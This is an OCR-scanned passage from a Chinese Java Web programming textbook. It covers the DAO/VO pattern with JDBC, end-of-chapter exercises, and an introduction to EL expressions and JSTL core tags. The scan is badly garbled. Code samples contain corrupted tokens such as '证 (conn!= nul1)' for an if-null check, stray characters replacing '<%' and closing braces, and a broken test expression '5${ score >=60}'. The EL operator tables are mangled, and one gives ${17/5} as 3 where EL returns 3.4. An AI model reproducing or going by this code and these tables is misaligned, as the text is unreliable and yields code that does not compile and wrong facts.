省 略 VO 的 编写 ,因为 用 户 可 以 直接 使 用 本 章 开 头 编写 的 beans. Student, VO 就 是 一 
个 普通 的 JavaBean。 
然后 将 数据 库 的 操作 都 封装 在 DAO 内 ,把 从 数据 库 查 询 到 的 信息 实例 化 为 VO, 放 到 
ArrayList 数组 里 返回 。DAO 类 的 代码 如 StudentDao. java 所 示 。 


StudentDao. java 


package dao; 
import java. sql. Connection; 
import java. sql. DriverManager; 
import java. sql. ResultSet; 
import java. sql. SQLException; 
import java. sql. Statement; 
import java. util. ArrayList; 
import beans. Student; 
public class StudentDao { 
public ArrayList queryAllStudents() throws Exception { 
Connection conn = null; 
ArrayList students = new ArrayList( ); 
try{ 
// 获 取 连 接 
Class. forName( "sun. jdbc. odbc. JdbcOdbcDriver" ); 
String url = "jdbc:odbc:DSSchool"; 
conn = DriverManager. getConnection(url, "", ""); 
// 运 行 SQL 语句 
String sql = "SELECT STUNO, STUNAME from T_STUDENT" ; 
Statement stat = conn. createStatement( ); 
ResultSet rs = stat. executeQuery(sql); 
while (rs.next()) { 
// 实 例 化 Vo 
Student student = new Student(); 
student. setStuno(rs. getString( "STUNO")); 
student. setStuname(rs. getString( "STUNAME" ) ); 
students. add( student); 
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} 
rs.close(); 
stat. close(); 
} catch (SQLException e) { 
e. printStackTrace( ); 
} finally { 
try {// 关 闭 连接 
证 (conn!= nul1) { 
conn. close( ); 
conn= null; 
j 
} catch (Exception ex) { 
} 
} 


return students; 


10.4.3 在 JSP 中 使 用 DAO 和 VO 


接 下 来 就 可 以 在 JSP 中 调用 上 面 的 DAO 类 去 访问 数据 库 了 。 首 先 要 使 用 page 指令 
导入 前 面 已 经 写 好 的 StudentDao 和 Student, 然 后 使 用 Dao 类 的 实例 去 访问 数据 库 , 把 信 
息 存 储 在 ArrayList 数组 中 ,最 后 打印 数据 库 中 学 生 的 信息 ,代码 如 showStudent. jsp 所 示 。 


showStudent. jsp 


<% @ page language = "java" import = "java. util. * ,java. sql. * "pageEncoding = "gb2312" %> 
<% @page import = "dao. StudentDao" %> 
<% @page import = "beans. Student" %> 
<html> 
<body> 
<% 
StudentDao studentDao = new StudentDao() ; 
ArrayList students = studentDao. queryAllStudents(); 
%> 
<table border =2> 
<tr> 
<td> 学 号 </td> 
<td> 姓 名 </td> 
</tr> 
< 多 
for (int i=0; i< students. size(); i++) { 
Student student = (Student)students. get(i); 
%> 
«tr 
<td><%= student. getStuno() %></td> 
<td><%= student. getStuname() %></td> 
</tr> 
<% 
} 
多 > 
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</table> 
</body> 
</html > 


在 该 例 中 使 用 了 前 面 定义 的 StudentDao 类 ,从 中 可 以 得 到 存放 了 学 生 信息 的 数组 。 在 
客户 端 运行 就 可 以 得 到 相应 的 效果 。 

其 实 , 用 了 DAO 和 VO 似乎 并 没有 从 JSP 中 完全 消除 Java 代码 ,但 是 与 之 前 直接 写 
JDBC 代码 相 比 还 是 好 多 了 ; 另外 一 个 好 处 就 是 ,在 JSP 内 没有 出 现任 何 与 JDBC 有 关 的 代 
码 。 编 程 人 员 不 需要 知道 数据 库 的 结构 和 细节 ,在 开发 时 便于 分 工 。 可 见 , 使 用 该 方式 来 操 
作 数 据 库 ,代码 更 容易 维护 ,程序 员 的 效率 自然 更 高 。 


10.5 本 章 小 结 


本 章 学 习 了 JavaBean 的 概念 和 编写 ,对 属性 的 编写 进行 了 强调 ,然后 学 习 在 JSP 中 使 
用 JavaBean 以 及 JavaBean 的 范围 ,最 后 讲解 了 DAO 和 VO 的 应 用 。 


10.6 课 后 习题 


一 、 填空 题 
1. 在 中 可 以 将 控制 逻辑 、 值 .数据库 访问 和 其 他 对 象 进行 封装 ,并 且 可 以 被 其 
他 应 用 调用 。 
2. JavaBean 支持 两 种 组 件 , 即 本 。 
3. 在 JSP 中 可 以 使 用 方法 来 设置 JavaBean 的 属性 ,也 可 以 使 用 四 
法 来 获取 JavaBean 的 值 。 
4. JavaBean 规定 成 员 变量 的 读 / 写 通过 方法 和 方法 进行 。 
5. 给 Boolean 类 型 设置 属性 使 用 方法 。 
6. JavaBean 有 4 个 scope* 它 们 分 别 是 、 s 
7. 当 scope= 时 ,JavaBean 对 象 可 以 被 同一 用 户 的 所 有 页 面 认识 。 
8. 当 scope= 时 ,JavaBean 对 象 可 以 在 通过 方法 跳 转 的 目标 页 面 中 
被 认识 。 
9. 获取 JavaBean 的 属性 的 两 种 方法 是 、 。 
10. DAO 的 全 称 是 , 它 专门 负责 对 的 访问 。 
二 、 选 择 题 
1. 下 列 关 于 JavaBean 的 说 法 正确 的 是 ( ss 
A. 在 JSP 文件 中 引用 Bean 其 实 就 是 用 < jsp:useBean > 语句 
B. 被 引用 的 Bean 文件 的 扩展 名 为 . jsp 
C. Java 文件 与 Bean 定义 的 类 名 可 以 不 同 ,但 是 要 区 分 字母 大 小 写 
D. Bean 文件 放 在 任何 目录 下 都 可 以 被 引用 
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2. JavaBean 的 属性 必须 声明 为 private, 方 法 必须 声明 为 ( ) 访 问 类 型 。 


A. public B. static C. protect D. private 
3. JavaBean 可 以 通过 相关 jsp 动作 指令 进行 调用 。 下 面 ( ) 不 是 JavaBean 可 以 使 
用 的 jsp 动作 指令 。 
A. <jsp:useBean > B. <jsp:setProperty > 
C. < jsp:getProperty > D. <jsp:setParameter > 


4. JSP 页 面 通过 ( ) 识 别 Bean 对 象 ,可 以 在 程序 段 中 通过 xx. method 形式 调用 
Bean 中 的 set 和 get 方法 。 


A. id B. class C. name D. classname 
8. ) 作 用 范围 将 使 Bean 对 象 保存 在 服务 器 的 内 存 空间 中 ,在 服务 器 关闭 后 被 
移 除 。 
A. page B. request C. session D. application 


6. 对 于 ( ) 作 用 范围 的 Bean, 当 客 户 离开 这 个 页 面 时 JSP 引擎 取消 为 客户 的 该 页 
面 分 配 的 Bean, 释 放 他 所 占 的 内 存 空 间 。 
A. page B. request C. session D. application 
7. 关于 JavaBean, 下 列 叙述 中 不 正确 的 是 ( )s 
A. JavaBean 的 类 必须 是 具体 的 和 公共 的 ,并 且 具 有 无 参数 的 构造 器 
B. JavaBean 的 类 属性 是 私有 的 ,要 通过 公共 方法 进行 访问 
C. JavaBean 和 Servlet 一 样 ,在 使 用 之 前 必须 在 项 目的 web. xml 中 注册 
D. JavaBean 属性 和 表单 控件 名 称 能 很 好 地 耦合 ,得 到 表单 提交 的 参数 
8. 使 用 < jsp:getProperty > 动作 标记 可 以 在 JSP 页 面 中 得 到 Bean 实例 的 属性 值 ,并 将 
其 转换 为 ( ) 类 型 的 数据 发 送 到 客户 端 。 
A. Object B. String C. Classes D. Double 
9. 在 项 目 中 已 经 建立 了 一 个 JavaBean, 其 类 为 bean. Student, 该 Bean 具有 name 属 
性 , 则 下 面 标签 用 法 正确 的 是 ( a 


A. <jsp:useBean id="student" class="Student" scope="session"></jsp:useBean> 


B. <jsp:useBean id=" student" class=" bean. Student" scope=" session" > </jsp: 
useBean > 
C. <jsp:useBean id="student" class="Student" scope="session"/> 
D. <jsp:getProperty name="name" property="student"/> 
10. 给 定 TheBean 类 ,假设 还 没有 创建 TheBean 类 的 实例 ,以 下 ( )JSP 标准 动作 
语句 能 创建 这 个 Bean 的 一 个 新 实例 ,并 把 它 存 储 在 请 求 作用 域 。 
A. <jsp:useBean name="myBean" type="com. example. TheBean"/> 
B. <jsp:takeBean name="myBean" type="com. example. TheBean"/> 
C. <jsp:useBean id="myBean" class="com. example. TheBean" scope="request" /> 
D. < jsp:takeBean id="myBean" class="com. example. TheBean" scope="request" /> 
三 、 上 机 习题 
1. 编写 一 个 JavaBean“ Book. java”, 它 含有 属性 bookid (String)、bookname(String)、 
bookprice(double) ,并 编写 getter、setter 函数 。 
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2. 编写 一 个 JavaBean” Customer. java”, 它 含 有 属性 account (String)、password 
(String) .cname(String) ,给 这 个 JavaBean 增加 属性 member(boolean 类 型 ,表示 是 否 为 会 
员 ) ,并 编写 相应 访问 函数 。 

3. 编写 一 个 登录 页 面 ,输入 学 号 和 姓名 ,在 数据 库 中 进行 验证 ,如 果 验 证 通过 , 则 在 另 
一 个 页 面 中 显示 顾客 的 姓名 。 要 求 使 用 JavaBean 封装 顾客 信息 ,使 用 DAO 查询 数据 库 。 

4. 使 用 Servlet.DAO 和 VO 完成 对 学 生 的 模糊 查询 。 


EL 和 JSTL 


建议 学 时 : 2 

表达 式 语言 (Expression Language,EL) 是 JSP 标准 的 一 部 分 ,可 以 大 幅度 地 在 JSP 上 
减少 Java 代码 ,得 到 广泛 的 应 用 。 本 章 首 先 学 习 EL 在 JSP 中 常用 的 功能 ,包括 EL 中 的 基 
本 语法 、EL 基本 运算 符 、EL 中 的 数据 访问 和 隐 含 对 象 。 

实际 上 , EL 是 JSTL (Java Server Pages Standard Tag Library, JSP 标准 标签 库 ) 
1.0 为 方便 存 取 数 据 所 自 定义 的 语言 ,因此 JSTL 得 到 更 广泛 的 作用 。 本 章 将 学 习 JSTL， 
介绍 其 标签 库 中 的 常用 标签 。 


11.1 认识 表达 式 语 言 


11.1.1 为 什么 需要 表达 式 语 言 


EL 的 全 名 为 Expression Language, 原 本 是 JSTL 1.0 为 方便 存 取 数据 所 自 定义 的 语 
言 ,后 来 成 为 JSP 标准 的 一 部 分 ,如 今 EL 已 经 是 一 项 成 熟 \ 标 准 的 技术 。 

<%= 变 量 名 %> 是 典型 的 表达 式 , 其 用 于 将 变量 显示 在 客户 端 ,<%out. print( 变 量 名 ) % 
> 和 其 作用 相同 。EL 具有 与 表达 式 相 同 的 输出 功能 ,另外 其 还 具有 简单 的 运算 符 、 访 问 对 
象 .简单 的 JavaBean 访问 简单 的 集合 访问 等 功能 。 

经 过 前 面 几 章 对 JSP 和 Servlet 基础 的 学 习 , 可 以 发 现 JSP 页 面 是 处 于 表示 层 的 ,主要 
用 于 将 内 容 显示 。 在 实际 的 应 用 开发 过 程 中 ,因为 项 目的 规模 都 比较 大 ,所 以 页 面 的 设计 会 
由 专业 的 页 面 设计 人 员 去 完成 ,通常 这 些 设计 人 员 对 Java 编程 不 甚 了 解 , 故 在 JSP 中 嵌入 
过 多 的 Java 源 代码 不 利于 项 目的 开发 。 

通过 Servlet 或 者 JavaBean 可 以 消除 一 部 分 Java 代码 ,然而 在 JSP 中 一 些 显示 代码 是 
无 法 去 除 的 。 为 了 解决 上 述 问题 ,JSP 标准 标签 库 应 运 而 生 。EL 是 JSTL 的 基础 ,由 于 EL 
是 JSP 2.0 新 增 的 功能 ,所 以 只 有 支持 Servlet 2.4 / JSP 2.0 的 Container 才能 在 JSP 网 页 
中 直接 使 用 EL。 在 Tomcat 6.0 中 可 以 直接 使 用 EL。 


11.1.2 表达 式 语言 的 基本 语法 
EL 的 语法 很 简单 ,其 最 大 的 特点 就 是 使 用 很 方便 。 观 察 下 列 代码 。 


User user = (User) session. getAttribute( "user"); 
String sex= user.getSex( ); 
out. print( sex); 
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其 作用 是 从 session 中 得 到 user 对 象 ,然后 打印 user 中 的 sex 属性 ,如 果 写 在 JSP 上， 
会 显得 宛 长 ,但 是 使 用 EL 进行 表达 就 显得 很 简单 了 。 


$ {sessionScope. user. sex} 
上 述 EL 范例 的 意思 是 从 session 的 范围 中 取得 user 的 sex 属性 ,显然 使 用 了 EL, 需要 


编写 输出 信息 的 代码 时 代码 量 少 了 ,工作 的 效率 自然 会 提高 。 
综 上 所 述 ,EL 最 基本 的 语法 结构 如 下 。 


$ { Expression } 


11.2 基本 运算 符 


11.2.1 .和 [J 运算 符 
EL 提供 了 两 种 实现 对 相应 数据 存 取 的 运算 符 , 即 . (点 操作 ) 和 口 。 例 如 下 列 两 者 所 代 


表 的 意思 是 一 样 的 。 


$ {sessionScope. user. sex} 


等 价 于 : 


String str = "sex"; 
$ {sessionScope. user[ str]} 


但 是 在 以 下 两 种 情况 下 .和 [ ] 运 算 符 不 能 互 换 。 
(1) 当 要 存 取 的 数据 的 名 称 中 包含 一 些 特殊 字符 ( 即 非 字母 或 数字 符号 ) 时 只 能 使 用 [ ] 


运算 符 。 
例如 : 


$ {sessionScope. user[ "user — sex"]} 
B 


不 能 写成 


$ {sessionScope. user. user — sex} 


(2) 当 动 态 取 值 时 只 能 使 用 [] 运 算 符 。 
例如 : 


$ {sessionScope. user[param]} 


假如 param 是 自 定义 的 变量 ,其 值 可 以 是 user 对 象 的 name、age 以 及 address 等 .此 时 
不 能 写成 如 下 形式 。 
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$ {sessionScope. user. param} 


11.2.2 算术 运算 符 


EL 本 身 定义 了 一 些 用 来 操作 或 者 比较 的 EL 表达 式 运 算 符 ,它们 的 出 现 可 以 满足 更 多 
ou 首先 了 解 EL 运算 中 的 算术 运算 符 , 表 11-1 列 出 了 EL 中 


的 运算 符 。 
表 11-1 EL 的 算术 运算 符 

算术 运算 符 说 明 范例 结果 
中 加 ${17 十 5} 22 
二 减 $ {17—5} 12 
* 乘 $ {17*5)} 85 
/或 div 除 $ {17/5}) 或 {17 div 5} 3 
% 或 mod 余数 $ {17%5}) 或 $1{17 mod 5} 2 


11.2.3 关系 运算 符 
下 面 介 绍 EL 的 关系 运算 符 , 如 表 11-2 所 示 。 
表 11-2 EL 的 关系 运算 符 


关系 运算 符 说 明 范 例 结果 
二 二 或 eq 等 于 $ {5 二 = 二 5) 或 $ {5 eq 5} true 
!= 或 ne 不 等 于 $ (5! 二 5) 或 ${5 ne 5) false 
< 或 1t 小 于 ${5<5) 或 $1{5 lt5} false 
> 或 gt 炒 环 $15>5} 或 $15 gt 5) false 
< 一 或 le 小 于 等 于 $1{5<=5} 或 $ {5 le 5} true 
> 一 或 ge 大 于 等 于 $1{5>=5} 或 $ {5 ge 5} true 


注意 : 在 使 用 EL 关系 运算 符 判 断 两 个 变量 是 否 相 等 时 不 能 够 写成 如 下 形式 。 
$ {变量 1} ==$ {变量 2} 
或 者 
$ { $ {变量 1} ==$ {变量 2}} 
而 应 写成 : 
$ {变量 1== 变量 2} 


11.2.4 逻辑 运算 符 
以 下 介绍 EL 运算 中 的 逻辑 运算 符 , 表 11-3 显示 了 常见 的 逻辑 运算 符 。 
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表 11-3 EL 的 逻辑 运算 符 


逻辑 运算 符 说 明 范 例 结果 

&& 或 and 与 $ {A&&B) 或 $ {A and B} true/false 
| 或 or 或 ${A1B; 或 ${AorB} true/false 
! 或 not 非 $ {1A) 或 $ {not A } true/false 


11.2.5 其 他 运算 符 


在 EL 运算 中 还 有 其 他 常用 的 运算 符 , 下 面 做 简单 介绍 。 
1. 条 件 运 算 符 
条 件 运 算 符 的 基本 语法 如 下 。 


$ {A?B:C} 


上 面 语 法 的 意思 是 如 果 A 为 真 ,整个 表达 式 的 值 为 B 的 值 ,否则 就 是 C 的 值 。 
2. empty 运算 符 
empty 运算 符 的 功能 是 对 数据 进行 验证 。empty 运算 符 的 基本 语法 如 下 。 


${ emptyA} 


empty 运算 符 的 规则 是 如 果 A 为 null, 返 回 true; 如 果 A 不 存在 ,返回 true; 如 果 A 为 
空 字符 串 ,返回 true; 如 果 A 为 空 数组 ,返回 true; 其 他 情况 返回 false。 


11.3 数据 访问 
11.3.1 对 象 的 作用 域 


在 JSP 中 对 象 有 4 个 不 同 的 作用 域 ,它们 分 别 是 pageScope requestScope sessionScope 以 
及 applicationScope, 如 表 11-4 所 示 。 


表 11-4 JSP 对 象 的 作用 域 


作 用 域 让 型 说 明 
pageScope java. util. Map 取得 page 范围 的 属性 名 称 所 对 应 的 值 
requestScope java. util. Map 取得 request 范围 的 属性 名 称 所 对 应 的 值 
sessionScope java. util. Map 取得 session 范围 的 属性 名 称 所 对 应 的 值 
applicationScope java. util. Map 取得 application 范围 的 属性 名 称 所 对 应 的 值 


以 下 介绍 这 几 个 作用 域 之 间 的 区 别 和 用 法 。 由 于 pageScope 比较 简单 ,此 处 不 做 过 多 
介绍 。 下 面 是 scopeExample. jsp 程序 。 
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scopeExample. jsp 


<% @ page contentType = "text/html; charset = gb2312" %> 
<html> 
<body> 
< 第 
// 在 application 内 放 进 内 容 
application. setAttribute( "applicationMsg", "Welcome Rpplication!"); 
// 在 session 内 放 进 内 容 
session. setAttribute("sessionMsg", "Welcome Session!"); 
%> 
application 内 的 内 容 $ {applicationScope. applicationMsg }<br> 
application 内 的 内 容 $ {applicationMsg }<br> 
session 内 的 内 容 $ {sessionScope. sessionMsg }<br> 
session 内 的 内 容 $ {sessionMsg }<br> 
</body> 
</html > 


传统 的 获得 对 象 的 方法 不 仅 复杂 ,还 要 事先 知道 对 象 的 类 型 。EL 表达 式 则 非常 简单 ， 
如 果 相 应 类 型 省 略 , 系 统 会 自动 寻找 相应 的 对 象 。 运 行 scopeExample. jsp 程序 ,效果 如 
图 11-1 所 示 。 

不 过 ,如 果 在 不 同 的 作用 域 中 有 相同 名 称 的 对 象 ， application 内 的 内 容 Welcome Applicationl 
这 时 候 要 注意 系统 查找 的 顺序 ,此 时 会 按照 page 一 soplicaton 内 由 Welcone Applicationt 
reduest-~session-~>application 顺序 查找 相应 的 对 象 。 session 内 的 内 容 Welcome Session! 
例如 调用 “$ {mag}”, 系统 会 依次 在 page、request、 图 11-1 scopeExample jsp 页 面 运行 效果 
session vapplication 中 找 , 找 到 之 后 显示 。 


11.3.2 访问 JavaBean 


前 面 的 章节 提 到 ,在 实际 应 用 开发 中 通常 把 项 目的 业务 逻辑 放 在 Servlet 中 处 理 ,由 
Servlet 实例 化 JavaBean, 最 后 在 指定 的 JSP 程序 中 显示 JavaBean 中 的 内 容 。 本 节 介绍 EL 
访问 JavaBean 的 用 法 。 

使 用 EL 表达 式 访问 JavaBean 的 基本 语法 如 下 。 


$ {bean. property} 


EL 表达 式 不 仅 能 清晰 地 把 所 要 显示 的 JavaBean 中 的 信息 显示 出 来 ,而 且 语 法 简单 、 易 
懂 。 下 面 看 一 个 具体 的 例子 ,该 例 展示 了 如 何在 JSP 中 显示 JavaBean 的 内 容 。 
首先 定义 JavaBean“Student” ,程序 如 Student. java 所 示 。 


Student. java 


package beans; 


public class Student { 
private String stuno; 
private String stuname; 
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public String getStuno() { 
return stuno; 

public void setStuno(String stuno) { 
this. stuno = stuno; 

public String getStuname() { 
return stuname; 

} 

public void setStuname(String stuname) { 
this. stuname = stuname; 


} 


在 该 JavaBean 中 定义 了 两 个 属性 , 即 stuno、stuname, 接 着 要 在 showStudentBean. jsp 
程序 中 设置 JavaBean 的 属性 。 在 该 程序 中 先 创建 了 studentBean 的 对 象 ,接着 为 对 象 中 的 
属性 设置 值 ,然后 把 该 对 象 放 到 session 的 作用 域 中 ,最 后 取出 studentBean 对 象 ,将 其 属性 
值 显示 出 来 。 下 面 是 showStudentBean. jsp 程序 。 


showStudentBean. jsp 


< 外 @ page language = "java" contentType = "text/htm];charset = gb2312" 
import = "beans. Student" % > 
<html> 
<body> 
< 外 
Student student = new Student(); 
student. setStuno( "0001"); 
student. setStuname(" 张 三 "); 
session. setAttribute("student", student); 
%> 
学 号 : $ {student. stuno }<br> 
姓名 : $ {sessionScope. student. stuname }< br> 
</body> 
</html > 


在 该 JSP 程序 中 ,EL 表达 式 ${ student. stuno } 从 


学 号 ，0001 
session 作用 域 中 取得 student 对 象 ,然后 从 该 对 象 中 取出 姓名 : 张 三 
stuno 属性 并 显示 。 程 序 在 客户 端的 运行 结果 如 图 11-2 图 1% howStudent. jsp 
所 示 。 


页 面 运行 效果 
11.3.3 访问 集合 


在 实际 的 应 用 开发 中 可 能 会 有 这 样 的 需求 : 将 多 个 实例 对 象 放 到 集合 中 ,这 些 集合 包 
括 Vector、List\Map 等 ,然后 在 JSP 中 取出 这 些 对 象 ,继而 显示 其 中 的 内 容 。 下 面 介绍 如 何 
使 用 EL 表达 式 获取 集合 数据 的 基本 语法 如 下 。 


$ {collection[elementName]} 
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例如 : 


$ {sessionScope. shoppingCart[0]. price} 


该 例子 的 意思 是 显示 session 的 集合 shoppingCart 中 第 1 项 物品 的 价格 。 


11.3.4 其 他 隐 含 对 象 


除了 前 面 介绍 的 对 象 外 ,EL 还 定义 了 其 他 隐 含 对 象 , 用 户 可 以 利用 它们 方便 、 快 捷 地 
调用 程序 中 的 数据 , 表 11-5 列 出 了 常见 的 其 他 隐 含 对 象 。 
表 11-5 EL 中 的 隐 含 对 象 


隐 舍 对 象 类 型 说 明 
pageContext javax. servlet. ServletContext 表示 此 JSP 的 PageContext 
param java. util. Map 获取 单个 参数 
paramValues java. util. Map 获取 捆绑 数组 参数 
cookie java. util. Map 获取 cookie 的 值 
initParam java. util. Map 获取 web. xml 中 的 参数 值 
比较 常用 的 方法 有 下 列 两 种 。 
(1) 用 param 对 象 获 得 参数 。 
例如 ， 


<a href = "paramExample2. jsp?m= 3&n = 4"> 到 达 paramExample2. jsp 页 面 </a> 


单 击 这 个 链接 ,在 paramExample2.jsp 页 面 中 就 可 以 利用 * $ {param. m}” 和 *$ {param. n)” 
获得 m 和 nm 两 个 参数 。 

(2) 用 cookie 对 象 获得 值 。 

例如 ， 


$ {cookie.account. value } 


可 以 获得 客户 端 cookie 对 象 account 的 值 。 
11.4 认识 JSTL 


前 面 介绍 EL 表达 式 的 时 候 已 经 涉及 JSTL 的 来 历 。 在 大 型 项 目 开 发 中 ,处 于 表示 层 
的 JSP 页 面 的 功能 就 是 显示 数据 ,如 果 在 其 中 嵌入 大 量 的 Java 代码 ,对 于 不 熟悉 Java 编程 
的 网 页 设计 师 来 说 是 件 麻烦 事 . 这 样 不 利于 项 目的 开发 。 鉴 于 此 ,JSTL(JSP Standard Tag 
Library) 应 运 而 生 , 它 为 解决 上 述 提 到 的 问题 提供 了 单一 的 标准 解决 方案 。 

JSTL 的 中 文 名 称 为 JSP 标准 标签 库 。JSTL 是 标准 的 已 制定 好 的 标签 库 ,可 以 应 用 于 
各 种 领域 .例如 基本 输入 /输出 、 流 程控 制 , 循 环 .XML 文件 剖析 、 数 据 库 查询 及 国际 化 和 文 
字 格 式 标准 化 的 应 用 等 。 
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在 本 章 中 使 用 的 是 JSTL 1. 1 版本。 在 MyEclipse 中 如 果 要 使 用 JSTL, 可 以 通过 菜单 
命令 进行 导入 ,如 图 11-3 所 示 。 


JSTL 所 提供 的 标签 库 主要 分 为 五 大 类 ， 


Run Window Help 


Project Capabilities 上 
Examples On-Demand... 
Subscription Information... 
Preferences... 

Installation Summary... 

Utilities » 


Support 


11-3 


Add JSR 168 Portlet Capabilities... 
Add JSF Facelets Capabilities... 

Add Hibernate Capabilities... 

Add JPA Capabilities... 

Add JSF Capabilities.. 

Add Report Capabilities.. 

Add Spring Capabilities... 

Add Struts Capabilities... 

Add Tapestry Capabilities... 

Add XFire Web Service Capabilities... 
Add Javascript Capabilities... 
Add JSTL Libraries... 

Add Web Project Capabilities... 
Remove Web Project Capabilities 


导入 JSTL 


详 见 表 11-6 。 


表 11-6 JSTL 标签 库 


JSTL 推荐 前 级 URI 范 例 
核心 标签 库 c http://java. sun. com/jsp/jstl/core <c:out> 
I18N 标签 库 fmt http: //java. sun. com/jsp/jstl/fmt < fmt:formatDate > 
SQL 标签 库 sql http: //java. sun. com/jsp/jstl/sql <sql:query> 
XML 标签 库 x http://java. sun. com/jsp/jstl/ xml < x:forBach> 
函数 标签 库 fn http://java. sun. com/jsp/jstl/functions < fn:split > 


使 用 JSTL 必须 使 用 taglib 指令 ,taglib 指令 的 作用 是 声明 JSP 文件 使 用 的 标签 库 , 同 


上 时 引入 该 标签 库 ,并 指定 标签 的 前 级 。 这 里 以 声明 核心 标签 库 core 为 例 ,其 基本 请 法 如 下 。 


<% @ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 


上 面 例子 声明 的 是 核心 标签 库 ,“prefix” 表 示 前 级 ,习惯 上 把 核心 标签 库 的 前 级 定 
义 为 “c” ,当然 也 可 以 定义 为 其 他 名 称 。 通 常 taglib 指令 定义 在 JSP 中 ,位 于 page 指令 


之 后 。 


11.5 核心 标签 库 


11.5.1 核心 标签 库 介 绍 


JSTL 的 核心 标签 库 又 称 core 标签 库 , 其 功能 是 在 JSP 中 为 一 般 的 处 理 提供 通用 的 支 
持 。 核 心 标签 库 包 括 与 变量 .控制 流 以 及 访问 基于 URL 的 资源 相关 的 标签 。 其 标签 一 共 
分 为 4 类 , 详 见 表 11-7。 
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表 11-7 核心 标签 库 
分 类 功能 分 类 标签 名 称 


表达 式 操作 


remove 


catch 
让 


choose 


流程 控制 


when 


core 
otherwise 


forEach 


迭代 操作 


forTokens 


import 


param 


URL 操作 


url 


redirect 


11.5.2 用 核心 标签 进行 基本 数据 操作 


下 面 介 绍 如 何 使 用 核心 标签 库 的 表达 式 操 作 标签 进行 数据 操作 。 此 处 介绍 的 是 几 个 比 
较 常 用 的 表达 式 操 作 标签 ,包括 < c:out>、<c:set> 以 及 < c:remove >。 

1. <c:out > 

<c:out > 标签 主要 用 来 显示 数据 的 内 容 , 就 像 <%= 表 达 式 %> 一 样 ,其 基本 语法 格式 
Ss 


<c:out value = "变量 名 "> </c:out> 


value 属性 指定 要 显示 的 数据 ,下 面 的 outExample. jsp 是 一 个 简单 的 < c:out > 例子 。 


outExample. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<% @ taglib prefix = "c" uri= "http://java. sun. com/jsp/jstl/core" %> 


<html> 
<body> 
<% 
session. setAttribute("msg"," 这 是 <c:out > 示例 "); 
%> 
<c:out value= " $ {msg}"></c:out > 
</body> 
</html > 


在 该 程序 中 定义 了 作用 域 为 session 的 变量 “msg”, 然 a 四 
后 使 用 < c: out > 显示 其 内 容 , 程 序 的 运行 效果 如 图 11-4 这 是 <c:out> 示 例 
所 示 。 图 11-4 页面 运行 效果 


36 Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


在 < c:out > 标签 中 还 包含 escapeXml 属性 ,其 用 于 指定 在 使 用 < c:out > 标签 输出 诸如 
<、 > 和 & 之 类 的 字符 (在 HTML 和 XML 中 具有 特殊 意义 ) 时 是 否 应 该 进行 转 义 。 如 果 将 
escapeXml 设置 为 true, 会 自动 进行 HTML 编码 处 理 。 下 面 的 escapeXmlExample. jsp 是 
escapeXML 属性 的 一 个 例子 。 


escapeXmlExample. jsp 


<% @ page language = "java" contentType = "text/htm1; charset = gb2312" %> 
<%@ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
<body> 
< 于 
session, setAttribute("msg", "<b> 这 是 <c:out > 示例 </b>"); 
%> 
<c:out value=" $ {msg}"></c:out ><br> 
<c:out value=" $ {msg}" escapeXm]l = "false"></c:out > 
</body > 
</html > 


<b> 这 是 <c:out> 示 例 </b> 在 该 程序 中 ,变量 msg 的 值 增加 了 “< b></b >”。 在 


是 示例 不 设置 escapeXml 属性 时 ,其 值 默 认为 true。 通 过 程序 运 
图 11-5 escapeXmlExample.jsp ” 行 效果 可 以 看 到 escapeXml 属性 的 作用 ,如 图 11-5 所 示 。 


页 面 运行 效果 在 第 2 个 例子 中 ,“<b> 这 是 <c:out > 示例 </b >” 中 的 
<c:out > 被 解释 为 标签 ,但 是 由 于 里 面 没有 输出 任何 内 容 ， 
所 以 没有 任何 输出 。 
2. < csset> 


< cs:set > 标签 用 于 对 变量 或 JavaBean 中 的 变量 属性 赋值 。< c:set > 标签 中 包含 的 属性 
有 value \target property var 以 及 scope。 例 如 : 


<c:set value = "欢迎 ”scope = "session" var = "msg"></c:set> 
<c:out value=" $ {msg}"></c:out > 


表示 将 字符 串 “ 欢 迎 ” 存 人 session, 取 名 为 msg, 然 后 显示 。 

3. <c:remove> 

<c: remove > 标签 用 于 删除 存在 于 scope 中 的 变量 。 在 <c:remove > 标签 中 包含 var 和 
scope 两 个 属性 ,分 别 表示 需要 删除 的 变量 名 以 及 变量 的 作用 范围 ,代码 如 下 。 


<% 

session. setAttribute("msg",， "欢迎 "); 
%S> 
<c:remove var = "msg" scope = "session" /> 


表示 将 session 中 的 msg 移 除 。 
11.5.3 用 核心 标签 进行 流程 控制 
下 面 介绍 用 核心 标签 库 的 流程 控制 标签 进行 流程 控制 ,主要 介绍 < c:if>、<c:choose>、 
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<c:when>、<c:otherwise>、<c:forEach > 以 及 < c:forToken > 这 几 个 流程 控制 标签 。 
1. <c:if > 


<c:if > 标签 用 于 简单 的 条 件 语句 。 其 基本 语法 如 下 。 


<c:if test="$ {判断 条 件 }"> 


</c:if> 


下 面 通过 ifExample. jsp 说 明 < c:if > 标签 的 用 法 。 


ifExample. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
<%@ taglib prefix= "c" uri= "http://java. sun. com/jsp/jstl/core" %> 
<html> 
<body> 
<% 
session. setAttribute("score", 5); 
第 > 
<c:if test="5${ score >=60}"> 及 格 </c:if> 
<c:if test ="$ { score <60}"> 不 及 格 </c:if> 
</body> 
</html > 


在 该 例子 中 定义 了 名 为 score 的 变量 ,其 值 为 5, 从 < c:if > 标 


不 及 格 
签 中 的 test 属性 可 知 score 的 值 小 于 60, 显 示 “ 不 及 格 ”, 程 序 的 运 
行 效果 如 图 11-6 所 示 图 11-6 ifExample. jsp 
可 页 面 运行 效果 


2. < c:choose >、 < c:when > 和 < c:otherwise > 


<c:choose ><c:when > 和 < c:otherwise > 这 3 个 标签 通常 会 一 起 使 用 ,它们 用 于 实现 
复杂 条 件 判 断 语句 ,类 似 if-else if 条 件 语句 。 它 们 的 基本 用 法 如 下 。 


<c:choose> 

<ciwhen test =" $ {条 件 1}"> 代 码 段 </c:when> 
<ciwhen test =" $ {条 件 2}"> 代 码 段 </c:when> 
<c:when test =" $ {条 件 N}"> 代 码 段 </c:when> 
<c:otherwise > 代码 段 </c: otherwise > 
</c:choose> 


例如 上 面 的 ifExample. jsp 代码 可 以 改 为 如 chooseExample. jsp 所 示 。 


chooseExample. jsp 


<% @ page language = "java" contentType = "text/html; charset = gb2312" %> 
